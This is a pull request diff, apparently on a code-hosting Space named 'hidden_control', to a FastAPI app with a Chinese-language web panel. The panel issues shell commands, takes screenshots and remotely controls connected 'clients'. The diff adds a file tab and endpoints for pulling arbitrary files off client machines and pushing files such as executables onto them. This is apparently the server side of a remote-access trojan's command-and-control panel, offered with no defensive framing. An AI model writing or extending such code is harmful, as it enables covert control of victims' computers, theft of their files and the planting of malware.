Spaces:

profile114
/

hidden_control

Sleeping

App Files Files Community

Upload 5 files

by e2dew32 - opened Mar 6

base: refs/heads/main

←

from: refs/pr/4

Discussion Files changed

+73

-2

Files changed (1) hide show

app.py +73 -2

app.py CHANGED Viewed

@@ -137,6 +137,7 @@ HTML_CONTENT = '''<!DOCTYPE html>
             <div class="tabs">
                 <button class="tab active" data-tab="shell">Shell</button>
                 <button class="tab" data-tab="screenshot">截图</button>
                 <button class="tab" data-tab="control">远程控制</button>
             </div>
             <div class="tab-content" id="tab-shell">
@@ -166,9 +167,19 @@ HTML_CONTENT = '''<!DOCTYPE html>
                         <label style="color:#00d9ff;">
                             <input type="radio" name="clickButton" value="right"> 右键
                         </label>
-                    </div>
                 </div>
-                <div class="screenshot-view" id="screenshotView" style="flex:1;background:#000;display:flex;align-items:center;justify-content:center;overflow:hidden;"></div>
             </div>
             <div class="tab-content" id="tab-control" style="display:none;">
                 <p style="color:#888;margin-bottom:15px;">远程控制</p>
@@ -372,6 +383,37 @@ HTML_CONTENT = '''<!DOCTYPE html>
             });
         }
         document.querySelectorAll('.tab').forEach(tab => {
             tab.onclick = () => {
                 document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
@@ -485,6 +527,35 @@ async def get_screenshot(client_id: str):
         return FileResponse(files[0], media_type='image/jpeg')
     raise HTTPException(status_code=404, detail="No screenshot")
 @app.get("/api/clients")
 async def get_clients():
     conn = get_db()

             <div class="tabs">
                 <button class="tab active" data-tab="shell">Shell</button>
                 <button class="tab" data-tab="screenshot">截图</button>
+                <button class="tab" data-tab="files">文件</button>
                 <button class="tab" data-tab="control">远程控制</button>
             </div>
             <div class="tab-content" id="tab-shell">
                         <label style="color:#00d9ff;">
                             <input type="radio" name="clickButton" value="right"> 右键
                         </label>
                 </div>
+            </div>
+            <div class="tab-content" id="tab-files" style="display:none;">
+                <div class="command-input" style="margin-bottom:15px;">
+                    <input type="text" id="filePath" placeholder="客户端文件路径，如 C:\\test.txt" style="flex:1;">
+                    <button class="btn" onclick="downloadClientFile()">下载到服务器</button>
+                </div>
+                <div class="command-input" style="margin-bottom:15px;">
+                    <input type="file" id="uploadFile">
+                    <input type="text" id="uploadPath" placeholder="目标路径，如 C:\\uploaded.exe" style="flex:1;">
+                    <button class="btn" onclick="uploadToClient()">上传到客户端</button>
+                </div>
+                <div class="output" id="fileOutput">文件操作结果...</div>
             </div>
             <div class="tab-content" id="tab-control" style="display:none;">
                 <p style="color:#888;margin-bottom:15px;">远程控制</p>
             });
         }
+        async function downloadClientFile() {
+            const path = document.getElementById('filePath').value.trim();
+            if (!path || !selectedClient) return;
+            document.getElementById('fileOutput').textContent = '发送下载命令...';
+            await fetch('/api/command', {
+                method: 'POST', headers: {'Content-Type': 'application/json'},
+                body: JSON.stringify({client_id: selectedClient.id, type: 'file_download', payload: path})
+            });
+        }
+        async function uploadToClient() {
+            const fileInput = document.getElementById('uploadFile');
+            const path = document.getElementById('uploadPath').value.trim();
+            if (!fileInput.files[0] || !path || !selectedClient) {
+                document.getElementById('fileOutput').textContent = '请选择文件和目标路径';
+                return;
+            }
+            document.getElementById('fileOutput').textContent = '上传文件中...';
+            const formData = new FormData();
+            formData.append('file', fileInput.files[0]);
+            formData.append('client_id', selectedClient.id);
+            formData.append('path', path);
+            await fetch('/api/file/upload_to_client', {
+                method: 'POST',
+                body: formData
+            });
+            document.getElementById('fileOutput').textContent = '文件已上传到服务端';
+        }
         document.querySelectorAll('.tab').forEach(tab => {
             tab.onclick = () => {
                 document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'));
         return FileResponse(files[0], media_type='image/jpeg')
     raise HTTPException(status_code=404, detail="No screenshot")
+@app.post("/api/file/upload_to_client")
+async def upload_to_client(client_id: str = Form(...), path: str = Form(...), file: UploadFile = File(...)):
+    filename = f'{client_id}_{int(datetime.now().timestamp())}_{file.filename}'
+    filepath = f'{UPLOAD_DIR}/files/{filename}'
+    content = await file.read()
+    async with aiofiles.open(filepath, 'wb') as f:
+        await f.write(content)
+    # 发送命令让客户端下载
+    cmd_id = str(uuid.uuid4())
+    conn = get_db()
+    conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at)
+        VALUES (?, ?, 'file_upload', ?, 'pending', ?)''',
+        (cmd_id, client_id, filepath, datetime.now().isoformat()))
+    conn.commit()
+    conn.close()
+    return {'status': 'ok', 'cmd_id': cmd_id, 'filepath': filepath}
+@app.get("/api/file/download")
+async def download_file_from_client(client_id: str = "", filename: str = ""):
+    if not client_id or not filename:
+        raise HTTPException(status_code=400, detail="client_id and filename required")
+    filepath = f'{UPLOAD_DIR}/files/{client_id}_{filename}'
+    if os.path.exists(filepath):
+        return FileResponse(filepath)
+    raise HTTPException(status_code=404, detail="File not found")
 @app.get("/api/clients")
 async def get_clients():
     conn = get_db()